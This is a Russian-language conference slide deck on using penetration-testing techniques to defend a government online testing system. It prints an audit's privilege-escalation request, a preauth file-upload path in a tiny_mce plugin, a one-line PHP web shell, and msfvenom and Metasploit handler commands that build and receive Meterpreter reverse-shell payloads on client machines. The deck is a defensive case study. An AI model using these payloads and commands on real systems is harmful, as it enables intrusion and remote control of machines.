29
Техники пентеста для активной защиты Mykola Ovcharuk (@movcharuk) Mykola Ilin (@mykolailin)

Техники пентеста для активной защиты - Николай Овчарук

Embed Size (px)

Citation preview

Page 1: Техники пентеста для активной защиты - Николай Овчарук

Техники пентеста для активной защитыMykola Ovcharuk (@movcharuk)

Mykola Ilin (@mykolailin)

Page 2: Техники пентеста для активной защиты - Николай Овчарук

$ whoamiНиколай Овчарук● консультант KievInfoSecurity Ltd, инженер безопасности Volia ISP● network security dcua CTF team

Николай Ильин● CTO KievInfoSecurity Ltd, научный сотрудник НТУУ “КПИ”● сооснователь DefCon-UA , лидер OWASP Kiev, капитан dcua CTF team● Email: [email protected]

2

Page 3: Техники пентеста для активной защиты - Николай Овчарук

Содержание1. Исходные данные2. Задачи3. Защита хостинга4. Аудит системы тестирования5. Solver6. Контроль клиентских машин7. Инциденты8. Выводы

3

Page 4: Техники пентеста для активной защиты - Николай Овчарук

Исходные данные● LEMP● Веб-приложение на PHP● Зоопарк из ~2k клиентских машин● Открытый канал клиент-сервер

4

Page 5: Техники пентеста для активной защиты - Николай Овчарук

Задачи● защита от вмешательства в процесс тестирования● контроль целостности результатов тестирования● обеспечение доступности системы

5

Page 6: Техники пентеста для активной защиты - Николай Овчарук

Защита хостинга● Обновление системы● IP-фильтрация● Логирование на внешний независимый сервер● Резервное копирование

6

Page 7: Техники пентеста для активной защиты - Николай Овчарук

Аудит системы тестированияprivilege escalation

POST /users/password/645 HTTP/1.1Host: ***.gov.uaContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestReferer: http://***.gov.ua/users/update/645Content-Length: 24Cookie: PHPSESSID=l90s0ohv5v…04sqd23;YII_CSRF_TOKEN=cd6fc8cf9110…1258473e6b512Connection: keep-alive

users%5Bpassword%5D=1234

HTTP/1.1 200 OK

7

Page 8: Техники пентеста для активной защиты - Николай Овчарук

Аудит системы тестированияpreauth remote code execution

Расширение tiny_mce, плагин ajaxfilemanager позволяет загружать произвольные файлы без аутентификации

http://***.gov.ua/assets/[6 hexdigits]/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php

Эксплуатируется без дополнительных средств

8

Page 9: Техники пентеста для активной защиты - Николай Овчарук

Аудит системы тестирования

9

Page 10: Техники пентеста для активной защиты - Николай Овчарук

Аудит системы тестирования

10

Page 11: Техники пентеста для активной защиты - Николай Овчарук

Аудит системы тестирования - 3Notepad, web shell s.php

<?=`$_GET[1]`;?>

11

Page 12: Техники пентеста для активной защиты - Николай Овчарук

Аудит системы тестирования - 3

12

Page 13: Техники пентеста для активной защиты - Николай Овчарук

Аудит системы тестирования

13

Page 14: Техники пентеста для активной защиты - Николай Овчарук

Аудит системы тестирования

14

Page 15: Техники пентеста для активной защиты - Николай Овчарук

Аудит системы тестирования

15

Page 16: Техники пентеста для активной защиты - Николай Овчарук

Аудит системы тестирования

16

Page 17: Техники пентеста для активной защиты - Николай Овчарук

Аудит системы тестирования

17

Page 18: Техники пентеста для активной защиты - Николай Овчарук

Solver~ 100 строк кода, 2 секунды и 100% результат

$ time ./gp_solver.pysession <Cookie PHPSESSID=... for zzz.gov.ua/>logged in as K00000...5059:5068-20345 5145:5154-20692 6966:6975-27980 8126:8135-32626 4209:4218-16952 6754:6763-27130 6370:6379-25593test finishedRESULT 100%./gp_solver.py 1.89s user 0.30s system 11% cpu 19.342 total

В промышленном использовании -- JavaScript реализация, Ctrl-C/Ctrl-V address barПодсветка правильных решений

18

Page 19: Техники пентеста для активной защиты - Николай Овчарук

SolverИспользованием солвера добились:

● Демонстрация бреши => изменение архитектуры● Нагрузочное тестирование => оптимизация системных настроек

19

Page 20: Техники пентеста для активной защиты - Николай Овчарук

Контроль клиентских машин● Терминальный доступ к системе тестирования● Meterpreter для контроля процессов и не только

20

Page 21: Техники пентеста для активной защиты - Николай Овчарук

Контроль клиентских машин | Meterpreter● Мониторинг системных процессов● Printscreen, в случае подозрения на фрод● Дамп памяти + volatility при анализе инцидентов

21

Page 22: Техники пентеста для активной защиты - Николай Овчарук

Контроль клиентских машин | MeterpreterПример генерации пейлоада:$ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=$IP LPORT=$Port PayloadUUIDTracking=true \HandlerSSLCert=./$Cert.pem StagerVerifySSLCert=true PayloadUUIDName=$UUIDName -f exe -o ./$UUIDName.exe

Ждем подключений:$ msfconsole -r /root/.msf4/msfconsole.rc -q -x 'use exploit/multi/handler; set PAYLOAD \windows/meterpreter/reverse_winhttps; set LHOST $IP; set LPORT $Port; set HandlerSSLCert ./Cert.pem; \set ExitOnSession false; set StagerVerifySSLCert true; set IgnoreUnknownPayloads true; \set AutoRunScript multiscript -rc ./run.txt; exploit -j -z'

Контролируется целостность шеллкода при передаче, защита от MITM

22

Page 23: Техники пентеста для активной защиты - Николай Овчарук

Контроль клиентских машин | Meterpreter$ cat /root/.msf4/payloads.json "2b246a24f46aa2": { "arch": "x86", "platform": "windows", "payload": "payload/windows/meterpreter/reverse_winhttps", "datastore": { "AutoSystemInfo": true, "AutoVerifySession": true, "HANDLERSSLCERT": "./Cert.pem", "PayloadProxyIE": true, "PayloadUUIDTracking": true, "StagerVerifySSLCert": true }, "name": "k0000", "urls": [ "/KyRpaiT0buKeVp9XyMccFH...DKcycuab5Xj5fNpo-muQowoWzbWn180rRT3IH7JqaL" ]

23

Page 24: Техники пентеста для активной защиты - Николай Овчарук

Контроль клиентских машин | Meterpretermsf exploit(handler) > sessions -l<…> 118 meterpreter x86/win32 WS14\User @ WS14 x.x.x.x:13788 -> y.y.y.y:63836 (172.16.1.142) 119 meterpreter x86/win32 WS221\User @ WS221 x.x.x.x:13788 -> y.y.y.y:63837 (172.16.1.200) 120 meterpreter x86/win32 WS223\User @ WS223 x.x.x.x:13788 -> y.y.y.y:63838 (172.16.1.213) 121 meterpreter x86/win32 WS141\Admin @ WS141 x.x.x.x:13788 -> y.y.y.y:63413 (172.16.1.68) 122 meterpreter x86/win32 PC\Administrator @ PC x.x.x.x:13788 -> y.y.y.y:56938 (172.16.180.79)

24

Page 25: Техники пентеста для активной защиты - Николай Овчарук

Контроль клиентских машин | MeterpreterОпрос всех машин:

<ruby>framework.sessions.each do |num,session| print_status("Session #{num}") session.sys.process.get_processes().each do |x| print_status(" #{num} = Process: #{x['pid']} #{x['name']}") endend</ruby>+ run winenum, сравнение конфигурации до и после начала теста

25

Page 26: Техники пентеста для активной защиты - Николай Овчарук

Контроль клиентских машин | Meterpreter3 = Process: 1048 svchost.exe3 = Process: 1176 spoolsv.exe3 = Process: 1212 svchost.exe3 = Process: 1428 taskhost.exe3 = Process: 1548 explorer.exe3 = Process: 1980 svchost.exe3 = Process: 2016 TeamViewer_Service.exe3 = Process: 1708 hkcmd.exe3 = Process: 1700 igfxpers.exe3 = Process: 2308 VDeck.exe3 = Process: 2316 USBGuard.exe3 = Process: 2328 jusched.exe3 = Process: 2736 egui.exe3 = Process: 2768 SearchIndexer.exe

26

Page 27: Техники пентеста для активной защиты - Николай Овчарук

Инциденты● Неполный физический контроль на местах, <1 представитель на

аудиторию (помощь волонтеров)● Не все уязвимости исправлены — вход под одним аккаунтом из 2 мест,

принимается первое решение (детектируется в аудите логов)● Разработчики пишут код после начала промышленного тестирования и

имеют доступ к БД (детектируется при сверке статистики)

27

Page 28: Техники пентеста для активной защиты - Николай Овчарук

Выводы● Время промышленной эксплуатации системы и предыдущие пентесты не

гарантируют безопасность.● как разработчики, так и предыдущие аудиторы могут оказаться идиотами

● не зависит от заверений разработчиков, портфолио аудиторов и “cертификатов”, это не CTF — объективные оценки квалификации часто отсутствуют

● Многие технологии “атакующей стороны” могут быть полезны при защите.

● средства вторжения для нагрузочного тестирования● средства доступа для контроля оконечных устройств

28

Page 29: Техники пентеста для активной защиты - Николай Овчарук

29